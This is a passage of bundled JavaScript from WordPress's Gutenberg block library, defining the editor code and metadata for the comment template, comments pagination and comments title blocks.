  // packages/block-library/build-module/comment-template/index.mjs
  var comment_template_exports = {};
  __export(comment_template_exports, {
    init: () =&gt; init24,
    metadata: () =&gt; block_default25,
    name: () =&gt; name24,
    settings: () =&gt; settings24
  });

  // packages/block-library/build-module/comment-template/block.json
  var block_default25 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-template&quot;,
    title: &quot;Comment Template&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/comments&quot;],
    description: &quot;Contains the block elements used to display a comment, like the title, date, author, avatar and more.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;],
    supports: {
      anchor: true,
      align: true,
      html: false,
      reusable: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-comment-template&quot;
  };

  // packages/block-library/build-module/comment-template/edit.mjs
  var import_element17 = __toESM(require_element(), 1);
  var import_data25 = __toESM(require_data(), 1);
  var import_i18n38 = __toESM(require_i18n(), 1);
  var import_block_editor53 = __toESM(require_block_editor(), 1);
  var import_components26 = __toESM(require_components(), 1);
  var import_core_data13 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/comment-template/hooks.mjs
  var import_element16 = __toESM(require_element(), 1);
  var import_data24 = __toESM(require_data(), 1);
  var import_block_editor52 = __toESM(require_block_editor(), 1);
  var import_url3 = __toESM(require_url(), 1);
  var import_api_fetch = __toESM(require_api_fetch(), 1);
  var MAX_COMMENTS_PER_PAGE = 100;
  var useCommentQueryArgs = ({ postId }) =&gt; {
    const queryArgs = {
      status: &quot;approve&quot;,
      order: &quot;asc&quot;,
      context: &quot;embed&quot;,
      parent: 0,
      _embed: &quot;children&quot;
    };
    const {
      pageComments,
      commentsPerPage,
      defaultCommentsPage: defaultPage
    } = (0, import_data24.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor52.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings ?? {};
    }, []);
    const perPage = pageComments ? Math.min(commentsPerPage, MAX_COMMENTS_PER_PAGE) : MAX_COMMENTS_PER_PAGE;
    const page = useDefaultPageIndex({
      defaultPage,
      postId,
      perPage,
      queryArgs
    });
    return (0, import_element16.useMemo)(() =&gt; {
      return page ? {
        ...queryArgs,
        post: postId,
        per_page: perPage,
        page
      } : null;
    }, [postId, perPage, page]);
  };
  var useDefaultPageIndex = ({ defaultPage, postId, perPage, queryArgs }) =&gt; {
    const [defaultPages, setDefaultPages] = (0, import_element16.useState)({});
    const key = `${postId}_${perPage}`;
    const page = defaultPages[key] || 0;
    (0, import_element16.useEffect)(() =&gt; {
      if (page || defaultPage !== &quot;newest&quot;) {
        return;
      }
      (0, import_api_fetch.default)({
        path: (0, import_url3.addQueryArgs)(&quot;/wp/v2/comments&quot;, {
          ...queryArgs,
          post: postId,
          per_page: perPage,
          _fields: &quot;id&quot;
        }),
        method: &quot;HEAD&quot;,
        parse: false
      }).then((res) =&gt; {
        const pages = parseInt(res.headers.get(&quot;X-WP-TotalPages&quot;));
        setDefaultPages({
          ...defaultPages,
          [key]: pages &lt;= 1 ? 1 : pages
          // If there are 0 pages, it means that there are no comments, but there is no 0th page.
        });
      }).catch(() =&gt; {
        setDefaultPages({
          ...defaultPages,
          [key]: 1
        });
      });
    }, [defaultPage, postId, perPage, setDefaultPages]);
    return defaultPage === &quot;newest&quot; ? page : 1;
  };
  var useCommentTree = (topLevelComments) =&gt; {
    const commentTree = (0, import_element16.useMemo)(
      () =&gt; topLevelComments?.map(({ id, _embedded }) =&gt; {
        const [children] = _embedded?.children || [[]];
        return {
          commentId: id,
          children: children.map((child) =&gt; ({
            commentId: child.id
          }))
        };
      }),
      [topLevelComments]
    );
    return commentTree;
  };

  // packages/block-library/build-module/comment-template/edit.mjs
  var import_jsx_runtime209 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE3 = [
    [&quot;core/avatar&quot;],
    [&quot;core/comment-author-name&quot;],
    [&quot;core/comment-date&quot;],
    [&quot;core/comment-content&quot;],
    [&quot;core/comment-reply-link&quot;],
    [&quot;core/comment-edit-link&quot;]
  ];
  var getCommentsPlaceholder = ({
    perPage,
    pageComments,
    threadComments,
    threadCommentsDepth
  }) =&gt; {
    const commentsDepth = !threadComments ? 1 : Math.min(threadCommentsDepth, 3);
    const buildChildrenComment = (commentsLevel) =&gt; {
      if (commentsLevel &lt; commentsDepth) {
        const nextLevel = commentsLevel + 1;
        return [
          {
            commentId: -(commentsLevel + 3),
            children: buildChildrenComment(nextLevel)
          }
        ];
      }
      return [];
    };
    const placeholderComments = [
      { commentId: -1, children: buildChildrenComment(1) }
    ];
    if ((!pageComments || perPage &gt;= 2) &amp;&amp; commentsDepth &lt; 3) {
      placeholderComments.push({
        commentId: -2,
        children: []
      });
    }
    if ((!pageComments || perPage &gt;= 3) &amp;&amp; commentsDepth &lt; 2) {
      placeholderComments.push({
        commentId: -3,
        children: []
      });
    }
    return placeholderComments;
  };
  function CommentTemplateInnerBlocks({
    comment,
    activeCommentId,
    setActiveCommentId,
    firstCommentId,
    blocks
  }) {
    const { children, ...innerBlocksProps } = (0, import_block_editor53.useInnerBlocksProps)(
      {},
      { template: TEMPLATE3 }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsxs)(&quot;li&quot;, { ...innerBlocksProps, children: [
      comment.commentId === (activeCommentId || firstCommentId) ? children : null,
      /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        MemoizedCommentTemplatePreview,
        {
          blocks,
          commentId: comment.commentId,
          setActiveCommentId,
          isHidden: comment.commentId === (activeCommentId || firstCommentId)
        }
      ),
      comment?.children?.length &gt; 0 ? /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        CommentsList,
        {
          comments: comment.children,
          activeCommentId,
          setActiveCommentId,
          blocks,
          firstCommentId
        }
      ) : null
    ] });
  }
  var CommentTemplatePreview = ({
    blocks,
    commentId,
    setActiveCommentId,
    isHidden
  }) =&gt; {
    const blockPreviewProps = (0, import_block_editor53.__experimentalUseBlockPreview)({
      blocks
    });
    const handleOnClick = () =&gt; {
      setActiveCommentId(commentId);
    };
    const style2 = {
      display: isHidden ? &quot;none&quot; : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
      &quot;div&quot;,
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: &quot;button&quot;,
        style: style2,
        onClick: handleOnClick,
        onKeyPress: handleOnClick
      }
    );
  };
  var MemoizedCommentTemplatePreview = (0, import_element17.memo)(CommentTemplatePreview);
  var CommentsList = ({
    comments,
    blockProps,
    activeCommentId,
    setActiveCommentId,
    blocks,
    firstCommentId
  }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(&quot;ol&quot;, { ...blockProps, children: comments &amp;&amp; comments.map(({ commentId, ...comment }, index) =&gt; /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
    import_block_editor53.BlockContextProvider,
    {
      value: {
        // If the commentId is negative it means that this comment is a
        // &quot;placeholder&quot; and that the block is most likely being used in the
        // site editor. In this case, we have to set the commentId to `null`
        // because otherwise the (non-existent) comment with a negative ID
        // would be requested from the REST API.
        commentId: commentId &lt; 0 ? null : commentId
      },
      children: /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        CommentTemplateInnerBlocks,
        {
          comment: { commentId, ...comment },
          activeCommentId,
          setActiveCommentId,
          blocks,
          firstCommentId
        }
      )
    },
    comment.commentId || index
  )) });
  function CommentTemplateEdit({
    clientId,
    context: { postId }
  }) {
    const blockProps = (0, import_block_editor53.useBlockProps)();
    const [activeCommentId, setActiveCommentId] = (0, import_element17.useState)();
    const {
      commentOrder,
      threadCommentsDepth,
      threadComments,
      commentsPerPage,
      pageComments
    } = (0, import_data25.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor53.store);
      return getSettings2().__experimentalDiscussionSettings ?? {};
    }, []);
    const commentQuery = useCommentQueryArgs({
      postId
    });
    const { topLevelComments, blocks } = (0, import_data25.useSelect)(
      (select9) =&gt; {
        const { getEntityRecords } = select9(import_core_data13.store);
        const { getBlocks } = select9(import_block_editor53.store);
        return {
          // Request only top-level comments. Replies are embedded.
          topLevelComments: commentQuery ? getEntityRecords(&quot;root&quot;, &quot;comment&quot;, commentQuery) : null,
          blocks: getBlocks(clientId)
        };
      },
      [clientId, commentQuery]
    );
    let commentTree = useCommentTree(
      // Reverse the order of top comments if needed.
      commentOrder === &quot;desc&quot; &amp;&amp; topLevelComments ? [...topLevelComments].reverse() : topLevelComments
    );
    if (!topLevelComments) {
      return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(&quot;p&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(import_components26.Spinner, {}) });
    }
    if (!postId) {
      commentTree = getCommentsPlaceholder({
        perPage: commentsPerPage,
        pageComments,
        threadComments,
        threadCommentsDepth
      });
    }
    if (!commentTree.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(&quot;p&quot;, { ...blockProps, children: (0, import_i18n38.__)(&quot;No results found.&quot;) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
      CommentsList,
      {
        comments: commentTree,
        blockProps,
        blocks,
        activeCommentId,
        setActiveCommentId,
        firstCommentId: commentTree[0]?.commentId
      }
    );
  }

  // packages/block-library/build-module/comment-template/save.mjs
  var import_block_editor54 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime210 = __toESM(require_jsx_runtime(), 1);
  function CommentTemplateSave() {
    return /* @__PURE__ */ (0, import_jsx_runtime210.jsx)(import_block_editor54.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/comment-template/index.mjs
  var { name: name24 } = block_default25;
  var settings24 = {
    icon: layout_default,
    edit: CommentTemplateEdit,
    save: CommentTemplateSave
  };
  var init24 = () =&gt; initBlock({ name: name24, metadata: block_default25, settings: settings24 });

  // packages/block-library/build-module/comments-pagination-previous/index.mjs
  var comments_pagination_previous_exports = {};
  __export(comments_pagination_previous_exports, {
    init: () =&gt; init25,
    metadata: () =&gt; block_default26,
    name: () =&gt; name25,
    settings: () =&gt; settings25
  });
  var import_i18n40 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/comments-pagination-previous/block.json
  var block_default26 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments-pagination-previous&quot;,
    title: &quot;Comments Previous Page&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/comments-pagination&quot;],
    description: &quot;Displays the previous comment&#039;s page link.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;postId&quot;, &quot;comments/paginationArrow&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-previous/edit.mjs
  var import_i18n39 = __toESM(require_i18n(), 1);
  var import_block_editor55 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime211 = __toESM(require_jsx_runtime(), 1);
  var arrowMap = {
    none: &quot;&quot;,
    arrow: &quot;\u2190&quot;,
    chevron: &quot;\xAB&quot;
  };
  function CommentsPaginationPreviousEdit({
    attributes: { label },
    setAttributes,
    context: { &quot;comments/paginationArrow&quot;: paginationArrow }
  }) {
    const displayArrow = arrowMap[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime211.jsxs)(
      &quot;a&quot;,
      {
        href: &quot;#comments-pagination-previous-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        ...(0, import_block_editor55.useBlockProps)(),
        children: [
          displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(
            &quot;span&quot;,
            {
              className: `wp-block-comments-pagination-previous-arrow is-arrow-${paginationArrow}`,
              children: displayArrow
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(
            import_block_editor55.PlainText,
            {
              __experimentalVersion: 2,
              tagName: &quot;span&quot;,
              &quot;aria-label&quot;: (0, import_i18n39.__)(&quot;Older comments page link&quot;),
              placeholder: (0, import_i18n39.__)(&quot;Older Comments&quot;),
              value: label,
              onChange: (newLabel) =&gt; setAttributes({ label: newLabel })
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination-previous/index.mjs
  var { name: name25 } = block_default26;
  var settings25 = {
    icon: query_pagination_previous_default,
    edit: CommentsPaginationPreviousEdit,
    example: {
      attributes: {
        label: (0, import_i18n40.__)(&quot;Older Comments&quot;)
      }
    }
  };
  var init25 = () =&gt; initBlock({ name: name25, metadata: block_default26, settings: settings25 });

  // packages/block-library/build-module/comments-pagination/index.mjs
  var comments_pagination_exports = {};
  __export(comments_pagination_exports, {
    init: () =&gt; init26,
    metadata: () =&gt; block_default27,
    name: () =&gt; name26,
    settings: () =&gt; settings26
  });

  // packages/block-library/build-module/comments-pagination/block.json
  var block_default27 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments-pagination&quot;,
    title: &quot;Comments Pagination&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/comments&quot;],
    allowedBlocks: [
      &quot;core/comments-pagination-previous&quot;,
      &quot;core/comments-pagination-numbers&quot;,
      &quot;core/comments-pagination-next&quot;
    ],
    description: &quot;Displays a paginated navigation to next/previous set of comments, when applicable.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      paginationArrow: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    example: {
      attributes: {
        paginationArrow: &quot;none&quot;
      }
    },
    providesContext: {
      &quot;comments/paginationArrow&quot;: &quot;paginationArrow&quot;
    },
    supports: {
      anchor: true,
      align: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: &quot;flex&quot;
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-comments-pagination-editor&quot;,
    style: &quot;wp-block-comments-pagination&quot;
  };

  // packages/block-library/build-module/comments-pagination/edit.mjs
  var import_i18n42 = __toESM(require_i18n(), 1);
  var import_block_editor56 = __toESM(require_block_editor(), 1);
  var import_data26 = __toESM(require_data(), 1);
  var import_components28 = __toESM(require_components(), 1);

  // packages/block-library/build-module/comments-pagination/comments-pagination-arrow-controls.mjs
  var import_i18n41 = __toESM(require_i18n(), 1);
  var import_components27 = __toESM(require_components(), 1);
  var import_jsx_runtime212 = __toESM(require_jsx_runtime(), 1);
  function CommentsPaginationArrowControls({ value, onChange }) {
    return /* @__PURE__ */ (0, import_jsx_runtime212.jsxs)(
      import_components27.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n41.__)(&quot;Arrow&quot;),
        value,
        onChange,
        help: (0, import_i18n41.__)(
          &quot;A decorative arrow appended to the next and previous comments link.&quot;
        ),
        isBlock: true,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: &quot;none&quot;,
              label: (0, import_i18n41._x)(
                &quot;None&quot;,
                &quot;Arrow option for Comments Pagination Next/Previous blocks&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: &quot;arrow&quot;,
              label: (0, import_i18n41._x)(
                &quot;Arrow&quot;,
                &quot;Arrow option for Comments Pagination Next/Previous blocks&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: &quot;chevron&quot;,
              label: (0, import_i18n41._x)(
                &quot;Chevron&quot;,
                &quot;Arrow option for Comments Pagination Next/Previous blocks&quot;
              )
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination/edit.mjs
  var import_jsx_runtime213 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE4 = [
    [&quot;core/comments-pagination-previous&quot;],
    [&quot;core/comments-pagination-numbers&quot;],
    [&quot;core/comments-pagination-next&quot;]
  ];
  function QueryPaginationEdit({
    attributes: { paginationArrow },
    setAttributes,
    clientId
  }) {
    const hasNextPreviousBlocks = (0, import_data26.useSelect)((select9) =&gt; {
      const { getBlocks } = select9(import_block_editor56.store);
      const innerBlocks = getBlocks(clientId);
      return innerBlocks?.find((innerBlock) =&gt; {
        return [
          &quot;core/comments-pagination-previous&quot;,
          &quot;core/comments-pagination-next&quot;
        ].includes(innerBlock.name);
      });
    }, []);
    const blockProps = (0, import_block_editor56.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const innerBlocksProps = (0, import_block_editor56.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE4
    });
    const pageComments = (0, import_data26.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor56.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings?.pageComments;
    }, []);
    if (!pageComments) {
      return /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(import_block_editor56.Warning, { children: (0, import_i18n42.__)(
        &quot;Comments Pagination block: paging comments is disabled in the Discussion Settings&quot;
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime213.jsxs)(import_jsx_runtime213.Fragment, { children: [
      hasNextPreviousBlocks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(import_block_editor56.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
        import_components28.__experimentalToolsPanel,
        {
          label: (0, import_i18n42.__)(&quot;Settings&quot;),
          dropdownMenuProps,
          resetAll: () =&gt; setAttributes({ paginationArrow: &quot;none&quot; }),
          children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
            import_components28.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n42.__)(&quot;Arrow&quot;),
              hasValue: () =&gt; paginationArrow !== &quot;none&quot;,
              onDeselect: () =&gt; setAttributes({ paginationArrow: &quot;none&quot; }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
                CommentsPaginationArrowControls,
                {
                  value: paginationArrow,
                  onChange: (value) =&gt; {
                    setAttributes({ paginationArrow: value });
                  }
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/comments-pagination/save.mjs
  var import_block_editor57 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime214 = __toESM(require_jsx_runtime(), 1);
  function save13() {
    return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_block_editor57.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/comments-pagination/index.mjs
  var { name: name26 } = block_default27;
  var settings26 = {
    icon: query_pagination_default,
    edit: QueryPaginationEdit,
    save: save13
  };
  var init26 = () =&gt; initBlock({ name: name26, metadata: block_default27, settings: settings26 });

  // packages/block-library/build-module/comments-pagination-next/index.mjs
  var comments_pagination_next_exports = {};
  __export(comments_pagination_next_exports, {
    init: () =&gt; init27,
    metadata: () =&gt; block_default28,
    name: () =&gt; name27,
    settings: () =&gt; settings27
  });
  var import_i18n44 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/comments-pagination-next/block.json
  var block_default28 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments-pagination-next&quot;,
    title: &quot;Comments Next Page&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/comments-pagination&quot;],
    description: &quot;Displays the next comment&#039;s page link.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;postId&quot;, &quot;comments/paginationArrow&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-next/edit.mjs
  var import_i18n43 = __toESM(require_i18n(), 1);
  var import_block_editor58 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime215 = __toESM(require_jsx_runtime(), 1);
  var arrowMap2 = {
    none: &quot;&quot;,
    arrow: &quot;\u2192&quot;,
    chevron: &quot;\xBB&quot;
  };
  function CommentsPaginationNextEdit({
    attributes: { label },
    setAttributes,
    context: { &quot;comments/paginationArrow&quot;: paginationArrow }
  }) {
    const displayArrow = arrowMap2[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)(
      &quot;a&quot;,
      {
        href: &quot;#comments-pagination-next-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        ...(0, import_block_editor58.useBlockProps)(),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
            import_block_editor58.PlainText,
            {
              __experimentalVersion: 2,
              tagName: &quot;span&quot;,
              &quot;aria-label&quot;: (0, import_i18n43.__)(&quot;Newer comments page link&quot;),
              placeholder: (0, import_i18n43.__)(&quot;Newer Comments&quot;),
              value: label,
              onChange: (newLabel) =&gt; setAttributes({ label: newLabel })
            }
          ),
          displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
            &quot;span&quot;,
            {
              className: `wp-block-comments-pagination-next-arrow is-arrow-${paginationArrow}`,
              children: displayArrow
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination-next/index.mjs
  var { name: name27 } = block_default28;
  var settings27 = {
    icon: query_pagination_next_default,
    edit: CommentsPaginationNextEdit,
    example: {
      attributes: {
        label: (0, import_i18n44.__)(&quot;Newer Comments&quot;)
      }
    }
  };
  var init27 = () =&gt; initBlock({ name: name27, metadata: block_default28, settings: settings27 });

  // packages/block-library/build-module/comments-pagination-numbers/index.mjs
  var comments_pagination_numbers_exports = {};
  __export(comments_pagination_numbers_exports, {
    init: () =&gt; init28,
    metadata: () =&gt; block_default29,
    name: () =&gt; name28,
    settings: () =&gt; settings28
  });

  // packages/block-library/build-module/comments-pagination-numbers/block.json
  var block_default29 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments-pagination-numbers&quot;,
    title: &quot;Comments Page Numbers&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/comments-pagination&quot;],
    description: &quot;Displays a list of page numbers for comments pagination.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-numbers/edit.mjs
  var import_block_editor59 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime216 = __toESM(require_jsx_runtime(), 1);
  var PaginationItem = ({ content, tag: Tag = &quot;a&quot;, extraClass = &quot;&quot; }) =&gt; Tag === &quot;a&quot; ? /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(
    Tag,
    {
      className: `page-numbers ${extraClass}`,
      href: &quot;#comments-pagination-numbers-pseudo-link&quot;,
      onClick: (event) =&gt; event.preventDefault(),
      children: content
    }
  ) : /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(Tag, { className: `page-numbers ${extraClass}`, children: content });
  function CommentsPaginationNumbersEdit() {
    return /* @__PURE__ */ (0, import_jsx_runtime216.jsxs)(&quot;div&quot;, { ...(0, import_block_editor59.useBlockProps)(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;1&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;2&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;3&quot;, tag: &quot;span&quot;, extraClass: &quot;current&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;4&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;5&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;...&quot;, tag: &quot;span&quot;, extraClass: &quot;dots&quot; }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: &quot;8&quot; })
    ] });
  }

  // packages/block-library/build-module/comments-pagination-numbers/index.mjs
  var { name: name28 } = block_default29;
  var settings28 = {
    icon: query_pagination_numbers_default,
    edit: CommentsPaginationNumbersEdit,
    example: {}
  };
  var init28 = () =&gt; initBlock({ name: name28, metadata: block_default29, settings: settings28 });

  // packages/block-library/build-module/comments-title/index.mjs
  var comments_title_exports = {};
  __export(comments_title_exports, {
    init: () =&gt; init29,
    metadata: () =&gt; block_default30,
    name: () =&gt; name29,
    settings: () =&gt; settings29
  });

  // packages/block-library/build-module/comments-title/block.json
  var block_default30 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments-title&quot;,
    title: &quot;Comments Title&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comments&quot;],
    description: &quot;Displays a title with the number of comments.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    attributes: {
      showPostTitle: {
        type: &quot;boolean&quot;,
        default: true
      },
      showCommentsCount: {
        type: &quot;boolean&quot;,
        default: true
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-title/edit.mjs
  var import_block_editor60 = __toESM(require_block_editor(), 1);
  var import_i18n45 = __toESM(require_i18n(), 1);
  var import_core_data14 = __toESM(require_core_data(), 1);
  var import_components29 = __toESM(require_components(), 1);
  var import_element18 = __toESM(require_element(), 1);
  var import_data27 = __toESM(require_data(), 1);
  var import_api_fetch2 = __toESM(require_api_fetch(), 1);
  var import_url4 = __toESM(require_url(), 1);
  var import_jsx_runtime217 = __toESM(require_jsx_runtime(), 1);
  function Edit12(props) {
    useDeprecatedTextAlign(props);
    const { attributes: attributes2, setAttributes, context } = props;
    const {
      showPostTitle,
      showCommentsCount,
      level = 2,
      levelOptions
    } = attributes2;
    const { postId, postType } = context;
    const TagName2 = &quot;h&quot; + level;
    const [commentsCount, setCommentsCount] = (0, import_element18.useState)();
    const [rawTitle] = (0, import_core_data14.useEntityProp)(&quot;postType&quot;, postType, &quot;title&quot;, postId);
    const isSiteEditor = typeof postId === &quot;undefined&quot;;
    const blockProps = (0, import_block_editor60.useBlockProps)();
    const {
      threadCommentsDepth,
      threadComments,
      commentsPerPage,
      pageComments
    } = (0, import_data27.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor60.store);
